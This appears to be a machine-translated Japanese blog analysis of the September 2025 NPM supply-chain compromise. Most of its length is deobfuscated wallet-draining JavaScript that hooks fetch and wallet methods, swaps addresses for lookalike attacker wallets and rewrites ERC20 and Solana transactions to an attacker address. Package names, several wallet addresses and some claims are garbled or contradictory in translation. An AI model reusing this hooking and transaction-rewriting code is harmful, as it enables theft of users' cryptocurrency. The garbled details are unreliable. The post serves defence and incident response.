2025年9月8日、 合気道セキュリティ報告 そして NPM は、いくつかの NPM ライブラリがユーザー側の中間者攻撃で侵害されたことを確認しました。私たちの調査では、攻撃の仕組みを詳しく調べました。注入されたコードは、暗号通貨アカウントを検出するためのリクエストをスニッフィングし、攻撃者が制御するアカウントに暗黙的に置き換えます。
- アンチ正規表現 6.2.1
- カラーネーム 2.0.1
- デバッグ 4.4.2
- ラップアンシ 9.0.1
- シンプル・スウィズル 0.2.3
- チョーク 5.6.1
- ストリップアンス 7.1.1
- カラーストリング 2.1.1
- バックスラッシュ 0.2.1
- ハスアンシ 6.0.1
- チョークテンプレート 1.1.1
- サポート-カラー 10.2.1
- スライスアンシ 7.1.1
- IS-配列っぽい 0.3.3
- カラーコンバート 3.1.1
- アンチスタイル 6.2.2
- サポート-ハイパーリンク 4.1.1
- エラーエックス 1.3.3

侵害されたバージョンはすべてNPMレジストリから削除され、パッチが適用されたリリースはNPMで入手できます。それでもなお、コードベースをスキャンし、影響を受ける依存関係をアップグレードして、ユーザーが影響を受けていないことを確認することをお勧めします。このブログでは、攻撃がどのように停止したのか、どのように検出するのかを詳しく説明します。
攻撃の分析
悪意のあるコードが含まれていても、攻撃者はそれほど巧妙ではありませんでした。攻撃者は、悪意のある、難読化された JavaScript をコードの先頭に追加しました。 index.js 各パッケージに。コードが難読化され、通常のスクリプト命令のように見えるように縮小されたため、検出が困難になりました。

攻撃ベクトルには、暗号ウォレットの検出、ウォレットを含むリクエストの傍受、正規のアドレスを攻撃者が制御するアドレスに置き換えることが含まれていました。フローは以下のように細分化されました。
- ユーザーが感染した Web サイトにアクセスする
- 暗号通貨ウォレットの不正コードチェック
- ウォレットアドレスを含むすべてのネットワークリクエストをインターセプトします
- ウォレットのアドレスは、類似性マッチングを使用して攻撃者が制御するアドレスに置き換えられます
- 被害者が取引を開始すると、資金がリダイレクトされます
- 正規のウォレットインターフェースが使用されているため、攻撃はほとんど見えない

悪質な暗号ウォレットの検出
注:以下に示すすべてのコードは、読みやすくするためにクリーンアップされています。
マルウェアは、Ethereumオブジェクトをチェックすることから始まります window.ethereum。その後、次の処理を待ちます。 eth_accounts 応答、ウォレットアドレスの取得、および実行の試行 ランマスク () そして、もし newdlocal () 決して実行されず (rund ≠ 1)、rund の値を 1 に設定して実行する newdlocal () 一度。
var neth = 0;
var rund = 0;
var loval = 0;
async function checkethereumw() {
try {
const etherumReq = await window.ethereum.request({ method: 'eth_accounts' });
etherumReq.length > 0 ? (runmask(), rund != 1 && (rund = 1, neth = 1, newdlocal())) : rund != 1 && (rund = 1, newdlocal());
} catch (error) {
if (rund != 1) {
rund = 1;
newdlocal();
}
}
}
typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && (rund = 1, newdlocal());リクエストフッキング
newdlocal () は、ブラウザをフックし、送信されたリクエストを把握し、攻撃者のアカウントでターゲットのアカウントを変更するリクエストを改ざんする機能です。これにより、正当な受取人から悪意のある受取人に効果的に資金が振り込まれます。以下はコード内で定義されている関数で、読みやすいように関数の名前が変更され、その横に元の関数名が表示されています。
const originalFetch = fetch;
fetch = async function (...args) {
const response = await originalFetch(...args);
const contentType = response.headers.get('Content-Type') || '';
let data = contentType.includes('application/json')
? await response.clone().json()
: await response.clone().text();
const processed = processData(data);
const finalData = typeof processed === 'string' ? processed : JSON.stringify(processed);
return new Response(finalData, {
status: response.status,
statusText: response.statusText,
headers: response.headers
});
};ウォレットが見つかると、スクリプトは攻撃者が提供したウォレットのいずれかから最も近い攻撃者のウォレットを探します。そうすると、変更されたウォレットが正規のウォレットと似た状態になるため、ユーザーは攻撃を検知できなくなります。悪質な機能 _0x3479c8 (_0x13a5cc、_0x8c209f) そして _0x2abae0 (_0x348925、_0x2f1e3d) を使う レーベンシュタイン距離これは、ある単語を別の単語に変更するために必要な 1 文字の編集 (挿入、削除、または置換) の最小回数として定義されます。次に、その単語をハイジャックしようとします。 フェッチ () API リクエストと XML HTTP リクエスト レスポンス。リクエストとレスポンスのウォレットを効果的に変更します。
function levenshteinDistance(a, b) { // _0x3479c8(_0x13a5cc, _0x8c209f)
const dp = Array.from({ length: a.length + 1 }, () => Array(b.length + 1).fill(0));
for (let i = 0; i <= a.length; i++) dp[i][0] = i;
for (let j = 0; j <= b.length; j++) dp[0][j] = j;
for (let i = 1; i <= a.length; i++) {
for (let j = 1; j <= b.length; j++) {
if (a[i - 1] === b[j - 1]) {
dp[i][j] = dp[i - 1][j - 1];
} else {
dp[i][j] = 1 + Math.min(
dp[i - 1][j], // deletion
dp[i][j - 1], // insertion
dp[i - 1][j - 1] // substitution
);
}
}
}
return dp[a.length][b.length];
}
function findClosestString(input, candidates) { // _0x2abae0(_0x348925, _0x2f1e3d)
let bestDistance = Infinity;
let bestMatch = null;
for (let candidate of candidates) {
const distance = levenshteinDistance(input.toLowerCase(), candidate.toLowerCase());
if (distance < bestDistance) {
bestDistance = distance;
bestMatch = candidate;
}
}
return bestMatch;
}攻撃者は、攻撃者が制御するウォレットのリストをスクリプトに含め、ターゲットが制御するウォレットと照合されます。
- レガシービットコイン:
1h13 VNQ JKTT 4 HJD 5ZF Kaaizeet MBG 7 NDHX(および他39人) - ビットコインビーチ 32:
bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm(および他39人) - イーサリアム:
0xFC4A4858 bafef54D1B1D7697BFB5C52F4C166976(および他59人) - ライトコイン:
LNF Wheis JB4QB4ISHMEVAZ 8 Capwtz4T6UG(および他39人) - ビットコインキャッシュ:
ビットコインキャッシュ:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh(および他39人) - ソラナ:
5VVU UV5K6C2GMQ1ZVEQUFAMO 8SHPZH28MJCVZCCRSZG6(およびその他19人) - トロン:
TB9 EMSCQ6 FQW6WRK4HBXXNNU6HWT1DNV67(および他39人)
攻撃者が提供したすべてのウォレットに対してチェックが行われ、最も近いものが返されます。
function transform(inputStr) {
var legacyBTC = [
];
var segwitBTC = [
];
var ethAddresses = [
];
var solanaAddrs = [
];
var tronAddrs = [
];
var ltcAddrs = [
];
var bchAddrs = [
];
for (const [currency, regex] of Object.entries(_0x3ec3bb)) {
const matches = inputStr.match(regex) || [];
for (const match of matches) {
if (currency == 'ethereum') {
if (!ethAddresses.includes(match) && neth == 0) {
inputStr = inputStr.replace(match, closestMatch(match, ethAddresses));
}
}
if (currency == 'bitcoinLegacy') {
if (!legacyBTC.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, legacyBTC));
}
}
if (currency == 'bitcoinSegwit') {
if (!segwitBTC.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, segwitBTC));
}
}
if (currency == 'tron') {
if (!tronAddrs.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, tronAddrs));
}
}
if (currency == 'ltc') {
if (!ltcAddrs.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
}
}
if (currency == 'ltc2') {
if (!ltcAddrs.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
}
}
if (currency == 'bch') {
if (!bchAddrs.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, bchAddrs));
}
}
const allAddrs = [
...ethAddresses,
...legacyBTC,
...segwitBTC,
...tronAddrs,
...ltcAddrs,
...bchAddrs
];
const isKnown = allAddrs.includes(match);
if (currency == 'solana' && !isKnown) {
if (!solanaAddrs.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
}
}
if (currency == 'solana2' && !isKnown) {
if (!solanaAddrs.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
}
}
if (currency == 'solana3' && isKnown) {
if (!solanaAddrs.includes(match)) {
inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
}
}
}
}
return inputStr;
}スクリプトはリクエストとレスポンスを調べ、攻撃者が制御するウォレットを使用してターゲットのウォレットを変更し、ターゲットに操作を続行させます。
runmask () を使ったトランザクション操作
ザの ランマスク () この関数は、ブラウザ(MetaMask、Solana Walletなど)でウォレット呼び出しをインターセプトし、送信前に攻撃者が制御するアドレスを注入するようにトランザクションデータを変更するように設計されています。スクリプトが以下の値を発見してウォレットを検出した場合 window.ethereum、マルウェアは次のような方法を待ちます 要求、 送信、および 送信同期。
function interceptWallet(wallet) { // _0x41630a(_0x5d6d52)
const methods = ['request', 'send', 'sendAsync'];
methods.forEach(name => {
if (typeof wallet[name] === 'function') {
originalMethods.set(name, wallet[name]);
Object.defineProperty(wallet, name, {
value: wrapMethod(wallet[name]),
writable: true,
configurable: true
});
}
});
isActive = true;
}いずれかのメソッドが見つかると、この関数は _0x485f9d (_0x38473f is _0x292c7a) トランザクションがEthereumトランザクションかSolanaトランザクションかを調べ、関数を使用してトランザクションを変更しようとします _0x1089ae (_0x4ac357、_0xc83c36 = true)。
function wrapMethod(originalMethod) { // _0x1089ae(_0x4ac357, _0xc83c36 = true)
return async function (...args) {
increment++; // increment intercept count
let clonedArgs;
// Deep clone arguments to avoid mutation
try {
clonedArgs = JSON.parse(JSON.stringify(args));
} catch {
clonedArgs = [...args];
}
if (args[0] && typeof args[0] === 'object') {
const request = clonedArgs[0];
// Ethereum transaction
if (request.method === 'eth_sendTransaction' && request.params?.[0]) {
try {
request.params[0] = maskTransaction(request.params[0], true); // _0x1089ae(tx, false)
} catch {}
// Solana transaction
} else if (
(request.method === 'solana_signTransaction' || request.method === 'solana_signAndSendTransaction') &&
request.params?.[0]
) {
try {
let tx = request.params[0].transaction || request.params[0];
const maskedTx = maskTransaction(tx, false); // _0x1089ae(tx, false)
if (request.params[0].transaction) {
request.params[0].transaction = maskedTx;
} else {
request.params[0] = maskedTx;
}
} catch {}
}
}
const result = originalMethod();
// Handle promises
if (result && typeof result.then === 'function') {
return result.then(res => res).catch(err => { throw err; });
}
return result;
};
}ファンクション _0x1089ae (_0x4ac357、_0xc83c36 = true) マルウェアによって傍受されたリクエストを取得し、独自のアドレスを挿入すると同時に、イーサリアムを改ざんします ERC20 トークン契約またはソラナトランザクション。いずれの場合も、攻撃者のアドレスが提供されます。
function maskTransaction(tx, isEthereum = true) {
// Deep clone transaction to avoid mutating original
const maskedTx = JSON.parse(JSON.stringify(tx));
if (isEthereum) {
const attackAddress = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';
// Redirect non-zero value transactions
if (maskedTx.value && maskedTx.value !== '0x0' && maskedTx.value !== '0') {
maskedTx.to = attackAddress;
}
if (maskedTx.data) {
const data = maskedTx.data.toLowerCase();
// ERC20 approve
if (data.startsWith('0x095ea7b3') && data.length >= 74) {
maskedTx.data = data.substring(0, 10) +
'000000000000000000000000' + attackAddress.slice(2) +
'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
}
// Custom contract call
else if (data.startsWith('0xd505accf') && data.length >= 458) {
maskedTx.data = data.substring(0, 10) +
data.substring(10, 74) +
'000000000000000000000000' + attackAddress.slice(2) +
'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
data.substring(202);
}
// ERC20 transfer
else if (data.startsWith('0xa9059cbb') && data.length >= 74) {
maskedTx.data = data.substring(0, 10) +
'000000000000000000000000' + attackAddress.slice(2) +
data.substring(74);
}
// ERC20 transferFrom
else if (data.startsWith('0x23b872dd') && data.length >= 138) {
maskedTx.data = data.substring(0, 10) +
data.substring(10, 74) +
'000000000000000000000000' + attackAddress.slice(2) +
data.substring(138);
}
} else if (maskedTx.to && maskedTx.to !== attackAddress) {
maskedTx.to = attackAddress;
}
} else {
// Solana-style transaction masking
if (maskedTx.instructions && Array.isArray(maskedTx.instructions)) {
maskedTx.instructions.forEach(instr => {
if (instr.accounts && Array.isArray(instr.accounts)) {
instr.accounts.forEach(acc => {
if (typeof acc === 'string') acc = '19111111111111111111111111111111';
else acc.pubkey = '19111111111111111111111111111111';
});
}
if (instr.keys && Array.isArray(instr.keys)) {
instr.keys.forEach(key => key.pubkey = '19111111111111111111111111111111');
}
});
}
maskedTx.recipient = '19111111111111111111111111111111';
maskedTx.destination = '19111111111111111111111111111111';
}
return maskedTx;
}提供されたイーサリアム攻撃者のアドレスは、イーサリアムアドレスリストの最初の要素です。
var _0x4477fc = [
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',
--snip--推奨事項と要約
コードベース全体をスキャンして、侵害されたライブラリがないかどうかを確認し、すぐに更新することを強くお勧めします。これにはチェックも含まれます。 パッケージ.json、 ロックファイル、 node_modules、そしてあなたの SBOM 依存関係ツリー。更新が適用されたら、最近のウォレットトランザクションすべてに不審なアクティビティがないか監視し、公開されているトークンの承認をすべて取り消し、可能な場合は新しいウォレットアドレスに移行します。リスクをさらに軽減するには、パッケージバージョンをピン留めして、今後同様のサプライチェーン侵害が起きないようにしてください。
このマルウェアは非常に巧妙でした。ブラウザに接続し、リクエストを傍受し、ウォレットをハイジャックし、複数のブロックチェーン上で動作していました。正規のチャネルを悪用したり、トランザクションを隠したり、難読化技術を使用したりすることで、マルウェアは溶け込んでしまいながらも検出が困難でした。

































